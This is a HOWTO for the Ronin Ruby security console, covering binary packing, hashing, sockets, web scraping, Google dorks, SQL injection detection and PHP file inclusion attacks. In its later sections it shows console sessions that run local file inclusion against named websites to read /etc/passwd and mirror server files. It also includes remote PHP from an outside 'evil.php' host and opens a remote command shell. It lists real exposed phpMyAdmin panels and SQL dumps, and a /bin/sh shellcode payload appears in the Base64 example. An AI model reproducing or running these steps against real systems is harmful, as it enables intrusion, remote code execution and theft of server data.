Ronin - Everyday Ronin

In day-to-day usage, the Ronin Console is the most commonly used component of Ronin. The Ronin Console is not to be confused with the text-based adventure shells commonly found in many other projects. Instead, the Ronin Console is a customized Interactive Ruby Shell (IRB) with tab-completion and auto-indentation enabled. The Console provides one with the full power of the Ruby language and the convenience methods of Ronin, all in a handy console. From this Console one can perform research, scan for vulnerabilities and even exploit vulnerable targets.

To install Ronin and the supporting libraries used in this HOWTO, simply run the following command:

$ sudo gem install ronin ronin-dorks ronin-php ronin-sql

To start the Ronin Console, simply run the ronin command:

$ ronin

If you are new to the Ruby programming language, you might consider reviewing the Pragmatic Programmers Guide to Ruby , since it is expected that users of the Ronin Console have a basic understanding of Ruby programming practices.

If you have questions regarding the methods or Classes defined within Ronin, you can consult Ronin's API documentation . If on the other hand, you have questions about methods or Classes provided by Ruby itself, I recommend using www.ruby-doc.org.

Convenience Methods
Web
Google ™ Dorks
SQL Injection
PHP
- Local File Inclusion
- Remote File Inclusion

Formatting Binary Data

Packing an Integer :

>> 0x1337.pack(Arch.i686)
=> "7\x13\0\0"

In Ruby everything is an Object , even Integers and Strings are represented as Objects. These Objects have methods and are defined by Classes, much like any other Object in Ruby. In the example above Ronin has added the pack method to the Integer class. Ruby's ability to add or modify methods of pre-defined Classes is known as Open Objects.

Packing an Integer with a custom address length:

>> 0x1337.pack(Arch.arm_le,2)
=> "7\x13"

Depacking an a packed Integer :

>> "7\x13\0\0".depack(Arch.i686)
=> 4919

Generating Text

Please see the Chars library for text generation examples.

Base64

Base64 encode a String :

>> payload = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\
\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\
\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xffxff\x2f\x62\x69\x6e\x2f\
\x73\x68\x00\x89\xec\x5d\xc3"

>> payload.base64_encode
=> "6ypeiXYIxkYHAMdGDAAAAAoAuAsAAACJ841OCI1WDM2AuAEAAAC7AAAAAM2A\n6NH///8vYmluL3NoAInsXcM=\n"

Base64 decode a String :

>> "c2VjcmV0\n".base64_decode
=> "secret"

Digests

Return the MD5 checksum of a String :

>> "leet school".md5
=> "1b11ba66f5e9d40a7eef699cd812e362"

Return the SHA1 checksum of a String :

>> "lol train".sha1
=> "37f05f0cc2914615c580af396df5c66316112f48"

Return the SHA256 checksum of a String :

>> "admin".sha256
=> "8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918"

Return the SHA512 checksum of a String :

>> "thunder growl".sha512
=> "b2a1e560a497514dafda024f9e6fc2dfbfb178483251a708f07a88d4e157e5561604460da313ebc88dde2814ae58a15ae4085d00efb6a825a62f5be3215f5cbf"

Paths

Escaping a directory:

>> Path.up(7)
=> #<Ronin::Path:../../../../../../..>

Directory transversal:

>> Path.up(7) / 'etc' / 'passwd'
=> #<Ronin::Path:../../../../../../../etc/passwd>

Networking

Creating a TCP Socket for a specified host and port:

>> sock = Net.tcp_connect('www.example.com', 25)
=> #<TCPSocket:0xb7bbde6c>

Creating a TCP Socket with local host and port information:

>> Net.tcp_connect('www.example.com', 25, 'some.interface.net', 1212)
=> #<TCPSocket:0xb7ba0dd0>

Create a TCP Socket, then send some data:

>> Net.tcp_connect_and_send("helo lol.train.com\n", 'www.example.com', 25)
=> #<TCPSocket:0xb7b8fa6c>

Creating a TCP session which will be automatically closed:

>> Net.tcp_session('www.example.com', 1212) do |sock|
  sock.write("this is just a test\n")
  puts sock.readline
end

Grabbing the banner of a TCP service:

>> Net.tcp_banner('www.example.com', 22)
=> "SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntu1.4\n"

Creating a UDP Socket for a specified host and port:

>> sock = Net.udp_connect('www.example.com', 135)
=> #<UDPSocket:0xb7bbde6c>

Creating a UDP Socket with local host and port information:

>> Net.udp_connect('www.example.com', 135, 'some.interface.net', 3030)
=> #<UDPSocket:0xb7ba0dd0>

Create a UDP Socket, then send some data:

>> Net.udp_connect_and_send("mic check\n", 'www.example.com', 1212)
=> #<UDPSocket:0xb7b8fa6c>

Creating a UDP session which will be automatically closed:

>> Net.udp_session('www.example.com', 3030) do |sock|
  sock.write("I want to devise a virus.\n")
  puts sock.readline
end
=> nil

For more Networking convenience methods checkout Ronin's documentation for the Net module.

URLs

Accessing the URL query parameters:

>> url = URI('http://www.google.com/search?hl=en&client=firefox-a&rls=org.mozilla%3Aen-US%3Aofficial&hs=1HY&q=bob+ross&btnG=Search')
=> #<URI::HTTP:0xfdbcdcb06 URL:http://www.google.com/search?btnG=Search&hs=1HY&rls=org.mozilla:en-US:official&client=firefox-a&hl=en&q=bob+ross>
>> url.query_params
=> {"btnG"=>"Search", "hs"=>"1HY", "rls"=>"org.mozilla:en-US:official", "client"=>"firefox-a", "hl"=>"en", "q"=>"bob+ross"}
>> url.query_params['q']
=> "bob+ross"

Setting the URL query parameters:

>> url.query_params['q'] = 'Upright Citizens Brigade'
=> "Upright Citizens Brigade"
>> puts url
http://www.google.com/search?btnG=Search&hs=1HY&rls=org.mozilla:en-US:official&client=firefox-a&hl=en&q=Upright%20Citizens%20Brigade
=> nil

Setting the URL query parameters en-mass:

>> url.query_params = {'q'=>'meowmix', 'start' => 20, 'sa' => 'N'}
=> {"q"=>"meowmix", "start"=>20, "sa"=>"N"}
>> puts url
http://www.google.com/search?sa=N&start=20&q=meowmix
=> nil

Exploding a URLs query parameters:

>> url = URI('http://search.dhgate.com/search.do?dkp=1&searchkey=yarn&catalog=')
=> #<URI::HTTP:0xfdb917188 URL:http://search.dhgate.com/search.do?searchkey=yarn&catalog=&dkp=1>
>> url.explode_query_params("'")
=> {"searchkey"=>#<URI::HTTP:0xfdb915e82 URL:http://search.dhgate.com/search.do?searchkey='&catalog=&dkp=1>, 
 "catalog"=>#<URI::HTTP:0xfdb915e6e URL:http://search.dhgate.com/search.do?searchkey=yarn&catalog='&dkp=1>,
 "dkp"=>#<URI::HTTP:0xfdb915e5a URL:http://search.dhgate.com/search.do?searchkey=yarn&catalog=&dkp='>}

HTTP

HTTP Proxy settings:

>> Metwork::HTTP.proxy
=> {:port=>8080, :pass=>nil, :user=>nil, :host=>nil}

Setting the HTTP Proxy settings:

>> Network::HTTP.proxy[:host] = '200.207.114.146'
=> "200.207.114.146"
>> Network::HTTP.proxy[:port] = 8080
=> 8080

Disabling HTTP Proxy settings:

>> Network::HTTP.disable_proxy
=> {:port=>8080, :pass=>nil, :user=>nil, :host=>nil}

Getting a web-page:

>> Net.http_get(:url => 'http://www.wired.com/')
=> #<Net::HTTPOK 200 OK readbody=true>

Getting only the body of a web-page:

>> Net.http_get_body(:url => 'http://www.wired.com/')
=> "..."

Posting to a web-page:

>> Net.http_post(:url => some_url, :post_data => {:q => 1, :id => 255})
=> #<Net::HTTPOK 200 OK readbody=true>

Posting to a web-page and only returning the body of the response:

>> Net.http_post_body(:url => some_url)
=> "..."

The Ronin Web library provides support for Web Scraping and Spidering functionality in Ronin. Before we can use this library in the Ronin Console, we must first require it.

>> require 'ronin/web'
=> true

Ronin Proxy settings, just like in Network::HTTP.

>> Web.proxy
=> {:port=>8080, :pass=>nil, :user=>nil, :host=>nil}

Ronin User-Agent setting:

>> Web.user_agent
=> nil
>> Web.user_agent = 'PowerThurst Bot v4.7'
=> "PowerThurst Bot v4.7"

User-Agent aliases:

>> Web.user_agent_aliases
 => {"Mac Mozilla"=>"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.4a) Gecko/20030401",
 "Mechanize"=>"WWW-Mechanize/0.7.6 (http://rubyforge.org/projects/mechanize/)",
 "Linux Mozilla"=>"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624",
 "Windows IE 6"=>"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
 "iPhone"=>"Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1C28 Safari/419.3",
 "Windows IE 7"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
 "Linux Konqueror"=>"Mozilla/5.0 (compatible; Konqueror/3; Linux)",
 "Mac FireFox"=>"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3",
 "Windows Mozilla"=>"Mozilla/5.0 (Windows;U; Windows NT 5.0; en-US; rv:1.4b) Gecko/20030516 Mozilla Firebird/0.6",
 "Mac Safari"=>"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3"}

Setting the Ronin User-Agent alias:

>> Web.user_agent_alias = 'iPhone'
=> "iPhone"

Getting a persistent WWW::Mechanize agent:

>> agent = Web.agent(:user_agent_alias => 'iPhone')
=> #<WWW::Mechanize:...>
>> agent.get('http://news.ycombinator.net/')
=> #<WWW::Mechanize::Page:...>

Getting a web-page:

>> Web.get('http://www.rubyinside.com/')
=> #<WWW::Mechanize::Page:...>

Return the body of a web-page:

>> Web.get_body('http://www.rubyinside.com/')
=> "..."

Posting to a web-page:

>> Web.post('http://www.example.com/login.php', :query => {:user => 'meowmix', :password => 'delivers'})
=> #<WWW::Mechanize::Page:...>

Return the body of a posted web-page:

>> Web.post_body('http://www.example.com/login.php', :query => {:user => 'meowmix', :password => 'delivers'})
=> "..."

Opening a web-page as a file:

>> Web.open('http://www.example.com/users.php')
=> #<File:/tmp/open-uri.6645.0>

The Ronin Dorks library provides support for Google ™ Dork functionality in Ronin. Before we can use this library in the Ronin Console, we must first require it.

>> require 'ronin/dorks'
=> true

Basic query:

>> Web::Dorks.search(:query => 'ruby').first_page.titles
=> ["Ruby Programming Language",
"Ruby (programming language) - Wikipedia, the free encyclopedia",
"Ruby - Wikipedia, the free encyclopedia",
"NetBeans IDE - Ruby and Rails features",
"Ruby on Rails",
"YouTube - Kaiser Chiefs - Ruby",
"Ruby Annotation",
"Ruby Central"]

inurl:

>> Web::Dorks.inurl(/page\.(php|asp)/).first_page.urls
=> [#<URI::HTTP:0xfdbcd3d1c URL:http://www.vark-learn.com/english/page.asp?p=questionnaire>,
#<URI::HTTP:0xfdbd9d3ba URL:http://www.webconfs.com/similar-page-checker.php>,
#<URI::HTTP:0xfdbcaf822 URL:http://www.metallica.com/page.asp?id=13367>,
#<URI::HTTP:0xfdbca0818 URL:http://scripts.sil.org/cms/scripts/page.php?site_id=nrsi&id=encore-ipa>,
#<URI::HTTP:0xfdbc91a0c URL:http://www.unctad.org/Templates/Page.asp?lang=1&intItemID=3198>,
#<URI::HTTP:0xfdbc79510 URL:http://royalsociety.org/page.asp?id=6229>,
#<URI::HTTP:0xfdbc59602 URL:http://www.poets.org/page.php/prmID/58>,
#<URI::HTTP:0xfdbc4a210 URL:http://www.dhh.louisiana.gov/offices/page.asp?ID=192&Detail=5248>,
#<URI::HTTP:0xfdbc37fe8 URL:http://www.youthnoise.com/page.php?page_id=2335>,
#<URI::HTTP:0xfdbc1f100 URL:http://www.tpchd.org/page.php?id=364>]

String inurl:

>> Web::Dorks.string_inurl("template.inc.php?dir=").first_page.urls
=> [#<URI::HTTP:0xfdbd2d1b4 URL:http://svn.modxcms.com/crucible/browse/modx/branches/0.9.7/core/lexicon/en/template.inc.php>, 
#<URI::HTTP:0xfdbcf316c URL:http://svn.modxcms.com/crucible/browse/modx/branches/0.9.7/manager/includes/lang/english/template.inc.php>, 
#<URI::HTTP:0xfdbcc75a8 URL:http://scripts.ringsworld.com/customer-support/rockcontact-0.7.3/includes/template.inc.php.html>, 
#<URI::HTTP:0xfdbd9a20a URL:http://newspoke.cpe.ku.ac.th/websvn/listing.php?sc=1&opt=dir&repname=Lervatta.Web&path=/trunk/www/template.inc.php/>,
#<URI::HTTP:0xfdbcaf390 URL:http://www.hypernietzsche.org/websvn/listing.php?sc=1&opt=dir&repname=Hyper&path=/root/includes/classes/class.Template.inc.php/>,
#<URI::HTTP:0xfdbc9ef36 URL:http://www.hypernietzsche.org/websvn/filedetails.php?rev=1&sc=1&repname=Hyper&path=/root/admin/inserts/includes/template.inc.php/>]

allinurl:

>> Web::Dorks.allinurl(['php?', 'page=']).first_page.urls
 => [#<URI::HTTP:0xfdbbe2df4 URL:http://www.jedit.org/index.php?page=download>,
#<URI::HTTP:0xfdbbd8908 URL:http://www.lizardtech.com/download/dl_options.php?page=plugins>,
#<URI::HTTP:0xfdbbcc55e URL:http://www.archaeological.org/webinfo.php?page=10007>,
#<URI::HTTP:0xfdbbc5d4e URL:http://www.polarion.org/index.php?project=subversive&page=overview>,
#<URI::HTTP:0xfdbd28d12 URL:http://www.ourdocuments.gov/content.php?page=milestone>,
#<URI::HTTP:0xfdbcf0a34 URL:http://www.mensa.org/index0.php?page=12>,
#<URI::HTTP:0xfdbcc55a0 URL:http://reg.imageshack.us/content.php?page=faq>,
#<URI::HTTP:0xfdbd9da4a URL:http://www.groklaw.net/staticpages/index.php?page=20051216153153504>,
#<URI::HTTP:0xfdbcb6186 URL:http://ktorrent.org/index.php?page=downloads>,
#<URI::HTTP:0xfdbca58c2 URL:http://www.fair.org/index.php?page=111>]

Index of cgi-bin:

>> Web::Dorks.index_of_cgi_bin.first_page.urls
=>> [#<URI::HTTP:0xfdbbe764c URL:http://www.delta-green.com/cgi-bin/>,
#<URI::HTTP:0xfdbbe0270 URL:http://www.portales-news.com/cgi-bin/>,
#<URI::HTTP:0xfdbbd4592 URL:http://www.newcyber-3d.com/cgi-bin/>,
#<URI::HTTP:0xfdbbca394 URL:http://now.what-happens.com/cgi-bin/>,
#<URI::HTTP:0xfdbbc3a44 URL:http://www.fameishmedia.com/cgi-bin/>,
#<URI::HTTP:0xfdbd14e02 URL:http://eraserhead.net/cgi-bin/>,
#<URI::HTTP:0xfdbce2f74 URL:http://www.bunnyjane.com/cgi-bin/>,
#<URI::HTTP:0xfdbdc4a8c URL:http://1a-automarktplatz.de/cgi-bin/>,
#<URI::HTTP:0xfdba221fe URL:http://www.anniemayhem.com/cgi-bin/>,
#<URI::HTTP:0xfdba1be26 URL:http://linguafranca.mirror.theinfo.org/cgi-bin/>]

MySQL dump files:

>> Web::Dorks.mysql_dump.first_page.urls
=> [#>URI::HTTP:0xfdb9e059c URL:http://lyricwiki.org/survey.sql>,
#<URI::HTTP:0xfdb9d9f58 URL:http://www.flamingspork.com/projects/memberdb/original_mysql_create_db.sql>,
#<URI::HTTP:0xfdb9d34dc URL:http://mek.niif.hu/html/katalogusdump/mek2_mezok.sql>,
#<URI::HTTP:0xfdb9ccd30 URL:http://www.vaxman.de/vwa_ba/examples/umfrage.sql>,
#<URI::HTTP:0xfdb9c66c4 URL:http://sgu.bioinfo.cipf.es/services/Omidios/db/20070514_Omidios_db.sql>,
#<URI::HTTP:0xfdb9bfcc0 URL:http://www.banadushi.com/mysql/slavesetup.sql>,
#<URI::HTTP:0xfdb9b93fc URL:http://perkins.pvt.k12.ma.us/perkinsdump.1204.sql>,
#<URI::HTTP:0xfdb9b282c URL:http://it1102.idi.ntnu.no/slides/Teknisk07_MySQL.sql>,
#<URI::HTTP:0xfdb9ab824 URL:http://svn.bitflux.ch/repos/public/planet-php/trunk/div/db/mysql.sql>,
#<URI::HTTP:0xfdb9a4b3c URL:http://wiki.powerdns.com/cgi-bin/trac.fcgi/attachment/ticket/8/dump.sql>]

PHP MyAdmin:

>> Web::Dorks.php_my_admin.first_page.urls
=> [#<URI::HTTP:0xfdb9663b4 URL:http://www.novarigenerazione.it/A_Sashimi_Support/dbadmin/main.php>,
#<URI::HTTP:0xfdb95f172 URL:http://cache.univ-tlse1.fr/applis/phpmyadmin/main.php?collation_connection=utf8_general_ci&server=1&lang=en-utf-8>,
#<URI::HTTP:0xfdb957814 URL:http://www.fangyuan.gov.tw/phpMyAdmin/main.php?server=1&lang=en-iso-8859-1>,
#<URI::HTTP:0xfdb95028a URL:http://nowystyl.com.ua/pma99/main.php>,
#<URI::HTTP:0xfdb949624 URL:http://www.csinaljbulit.hu/phpmyadmin/main.php?collation_connection=utf8_general_ci&server=1&lang=en-utf-8>,
#<URI::HTTP:0xfdb9420ae URL:http://137.189.89.120/phpMyAdmin/main.php?collation_connection=utf8_general_ci&server=1&lang=en-utf-8>,
#<URI::HTTP:0xfdb93a91c URL:http://alternc.net/admin/sql/main.php?server=1&lang=en-iso-8859-1>,
#<URI::HTTP:0xfdb933874 URL:http://www.666counter.net/admin4/main.php?collation_connection=utf8_general_ci&mode=reload&server=1&lang=en-utf-8>,
#<URI::HTTP:0xfdb92c484 URL:http://www.e-dayuan.com.tw/phpmyadmin/main.php?collation_connection=utf8_general_ci&server=1&lang=en-utf-8>,
#<URI::HTTP:0xfdb924f0e URL:http://spsound.com/phpmyadmin/main.php?collation_connection=utf8_general_ci&server=1&lang=en-utf-8>]

The Ronin SQL library provides support for SQL related security tasks, such as scanning for SQL injection and exploiting it. Before we can use this library, we have to first require it.

>> require 'ronin/sql'
=> true

Test a String for SQL Database errors:

>> SQL.has_error?(response)
=> true

Return SQL error types and messages:

>> SQL.error(response)
=> #<Ronin::SQL::Error:0xb702e038 @message="Warning:  mysql_free_res
ult(): supplied argument is not a valid MySQL result" @type=:mysql>

Test a URL for SQL errors:

>> url = URI('http://redteatrosalternativos.com/_05enlaces/links/phpHoo3.php?viewCat=1')
=> #<URI::HTTP:0xfdb826ef4 URL:http://redteatrosalternativos.com/_05enlaces/links/phpHoo3.php?viewCat=1>
>> url.has_sql_errors?
=< true

Return a Hash of SQL Injectable query parameters and their SQL errors:

>> url.sql_errors
=> {"viewCat"=>#<Ronin::SQL::Error:0xb704a288 @message="Warning:  mysql_free_res
ult(): supplied argument is not a valid MySQL result", @type=:mysql>}

The Ronin PHP library provides support for various PHP related security tasks, such as leveraging Local and Remote File Inclusion. Before we can use this library in the Ronin Console, we have to first require it.

>> require 'ronin/php'
=> true

Local File Inclusion (LFI)

Test a URL for LFI:

>> url = URI('http://www.e-builds.com/?page=Portfolio')
=> #<URI::HTTP:0xfdb67c266 URL:http://www.e-builds.com/?page=Portfolio>
>> url.has_lfi?
=> true

Return a PHP::LFI object which can be used to access files or finger-print the web server:

>> vuln = url.first_lfi
=> #<Ronin::PHP::LFI:0xb6ccbbe8 @terminate=true, @up=7, @prefix=nil,
@url=#<URI::HTTP:0xfdb67c266 URL:http://www.e-builds.com/?page=Portfolio>,
@param="page", @os=nil>

Return a file as a String :

>> vuln.get('/etc/passwd')
=> "..."

Return a file as a PHP::LFI::File object similar to the File class:

>> vuln.include('/etc/passwd')
=> #<Ronin::PHP::LFI::File:/etc/passwd>

Return a PHP::LFI::File object only if the response is recognized as containing the targeted file:

>> vuln.include_target('lighttpd.conf')
=> #<Ronin::PHP::LFI::File:/etc/lighttpd/lighttpd.conf>

Save a targeted file only if the response is recognized as containing the targeted file:

>> vuln.save_target('wtmp','/tmp/wtmp')
=> "/tmp/wtmp"

Mirror commonly targeted files to a specified local directory:

>> vuln.mirror_targets('/tmp/e-builds/')
=> [...]

Fingerprint the web-server:

>> vuln.fingerprint
=> {:mysql_data_dir=>"/var/lib/mysql",
:lighttpd_bind=>"172.18.0.102",
:mysql_bind=>"127.0.0.1",
:lighttpd_port=>"81",
:mysql_user=>"mysql",
:mysql_port=>"3306",
:lighttpd_error_log=>"/var/log/lighttpd/error.log",
:lighttpd_pid_file=>"/var/run/lighttpd.pid",
:mysql_socket=>"/var/run/mysqld/mysqld.sock",
:lighttpd_access_log=>"/var/log/lighttpd/access.log"}

Remote File Inclusion (RFI)

Test a URL for RFI:

>> url = URL('http://www.example.com/page.php?layout=default')
=> #<URI::HTTP:0xfdb7a3d4c URL:http://www.example.com/page.php?layout=default>
>> url.has_rfi?
=> true

Return a PHP::RFI object which can be used to include other PHP files:

>> vuln = url.first_rfi
=> #<Ronin::PHP::RFI:0xb6f0e9dc @param="layout",
@url=#<URI::HTTP:0xfdb7a3d4c URL:http://www.example.com/page.php?layout=default>,
@test_script="http://ronin.rubyforge.org/dist/php/rfi/test.php", @terminate=true>

Including arbitrary PHP:

>> vuln.include('http://www.shells4you.com/evil.php')
=> "..."

Using the PHP Remote Procedure Call (RPC) interface:

>> client = vuln.rpc
=> #<Ronin::RPC::PHP::Client:0xb7439560 @url="http://www.example.com/page.php?layout=http://ronin.rubyforge.org/dist/php/rpc/server.min.php?",
@session={}, @proxy=nil, @cookie=nil, @user_agent=nil>
>> client.call('shell.exec','whoami')
=> "www"

Using the PHP-RPC Console service:

>> php = client.console
=> #<Ronin::RPC::PHP::Console:0xb7437cb0 @name=:console,@client=#<Ronin::RPC::PHP::Client:0xb7439560
@url="http://www.example.com/page.php?layout=http://ronin.rubyforge.org/server.min.php?", @session={},
@proxy=nil, @cookie=nil, @user_agent=nil>>
>> php.phpversion
=> "4.3.10"
>> php.php_uname('-m')
=> "i686"

Using the PHP-RPC Shell for quick command execution:

>> shell = client.shell
=> #<Ronin::RPC::PHP::Shell:0xb74364a0 @name=:shell, @client=#>Ronin::RPC::PHP::Client:0xb7439560
@url="http://www.example.com/page.php?layout=http://ronin.rubyforge.org/server.min.php?", @session={},
@proxy=nil, @cookie=nil, @user_agent=nil>>
>> shell.cwd
=> "/var/www/site/\n"
>> shell.cd '..'
=> ""
>> shell.exec('date -u')
=> "Thu Aug 21 10:29:38 UTC 2008\n"
>> shell.system('ps')
   PID TTY          TIME CMD
 27042 pts/8    00:00:00 bash
 27841 pts/8    00:00:00 ps
=> nil

Using the Interactive Shell for the PHP-RPC Console service:

>> php.interact
>> phpversion();
=> "4.3.10"
>> explode('|', 'one|two|three');
=> Array(
  "one",
  "two",
  "three"
)
>> exit
=> nil

Using the Interactive Shell for the PHP-RPC Shell service:

>> shell.interact
$ pwd
/var/www/site/
$ cd ..
$ ls -la
...
$ exit
=> nil